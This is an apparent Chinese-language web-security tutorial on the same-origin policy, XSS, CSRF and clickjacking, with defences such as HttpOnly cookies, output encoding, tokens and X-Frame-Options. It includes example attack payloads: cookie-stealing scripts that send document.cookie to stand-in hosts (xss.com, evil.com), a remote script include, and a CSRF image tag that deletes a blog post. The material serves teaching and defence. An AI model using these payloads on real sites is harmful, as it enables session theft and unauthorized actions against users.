是一种约定,是浏览器最核心也最基本的安全功能,限制了来自不同源的document或者脚本,对当前document读取或设置某些属性
<script>、<img>、<iframe>、<link>
等标签都可以跨域加载资源,而不受同源策略的限制
英文全称:Cross Site Script,XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击
是一种“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而产生了新的语义
举个例子:
此时的URL是https://category.vip.com/suggest.php?keyword=xss&ff=235|12|1|1
<script>alert('xss')</script>
https://category.vip.com/suggest.php?keyword=<script>alert('xss')</script>&ff=235|12|1|1
,从而alert出xss,但事实却是已经转码了的:https://category.vip.com/suggest.php?keyword=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&ff=235|12|1|1
https://category.vip.com/suggest.php?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>&ff=235|12|1|1
比如说,黑客写下一篇包含恶意javascript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在浏览器中执行这段恶意的javascript代码,黑客把恶意的脚本保存到服务器端
举个例子:
**原理:**首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符"//"注释掉第二个单引号。点击此链接,脚本将被执行。
XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为XSS Payload。实际上就是Javascript脚本(或者Flash或其他富客户端的脚本),所以XSS Payload能够做到任何javascript脚本能实现的功能
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
127.0.0.1 - - [119/Jul/2010:11:30:42 + 0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288
浏览器禁止页面的Javascript访问带有HttpOnly属性的cookie。(实质解决的是:XSS后的cookie劫持攻击)如今已成为一种“标准”的做法
不同语言给cookie添加HttpOnly的方式不同,比如
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
header("Set-Cookie:hidden=value;httpOnly");
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);//true为HttpOnly属性
在变量输出到HTML页面时,使用编码或转义的方式来防御XSS攻击
具体实施可以参考:http://www.cnblogs.com/lovesong/p/5211667.html
防御方法:分语境使用不同的编码函数
XSS漏洞虽然复杂,但是却是可以彻底解决的。在设计解决方案时,应该针对不同场景理解XSS攻击的原理,使用不同的方法
首先来看个例子:
攻击者首先在自己的域构造一个页面:
http://www.a.com/csrf.html
,其内容为<img src="http://blog.sohu.com/manage/entry.do?m=deleted&id=156714243" />
使用了一个img标签,其地址指向了删除Iid为156714243的博客文章 然后攻击者诱使目标用户,也就是博客主人访问这个页面 用户进去看到一张无法显示的图片,这时自己的那篇博客文章已经被删除了
**原理:**在刚才访问http://www.a.com/csrf.html页面时,图片标签向服务器发送了一次get请求,这次请求导致了博客文章被删除 这种删除博客文章的请求,是攻击者伪造的,所以这种攻击就叫做“跨站点请求伪造”
参考上图,我们可以总结,完成一次CSRF攻击,必须满足两个条件
CSRF攻击是攻击者利用用户身份操作用户账户的一种攻击方式
**CSRF能攻击成功的本质原因:**重要操作的所有参数都是可以被攻击者猜测到的
CSRF攻击过程中,用户在不知情的情况下构造了网络请求,添加验证码后,强制用户必须与应用进行交互
利用HTTP头中的Referer判断请求来源是否合法 Referer首部包含了当前请求页面的来源页面的地址
关于Referer的更多详细资料:https://75team.com/post/everything-you-could-ever-want-to-know-and-more-about-controlling-the-referer-header-fastmail-blog.html
http://host/path/delete?uesrname=abc&item=123
http://host/path/delete?username=abc&item=123&token=[random(seed)]
由于Token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击
更多关于CSRF详细可参考:
http://host/path/manage?username=abc&token=[random]
,在此页面用户需要在这个页面提交表单或者单击“删除”按钮,才能完成删除操作,在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片<img src="http://evil.com/notexist" />
,则这个页面地址会作为HTTP请求的Refer发送到evil.com的服务器上,从而导致Token泄露)当网站同时存在XSS和CSRF漏洞时,XSS可以模拟客户端浏览器执行任意操作,在XSS攻击下,攻击者完全可以请求页面后,读取页面内容中的Token值,然后再构造出一个合法的请求
安全防御的体系应该是相辅相成、缺一不可的
点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。
X-Frame-Options HTTP响应头是用来给浏览器指示允许一个页面能否在
<frame>、<iframe>、<object>
中展现的标记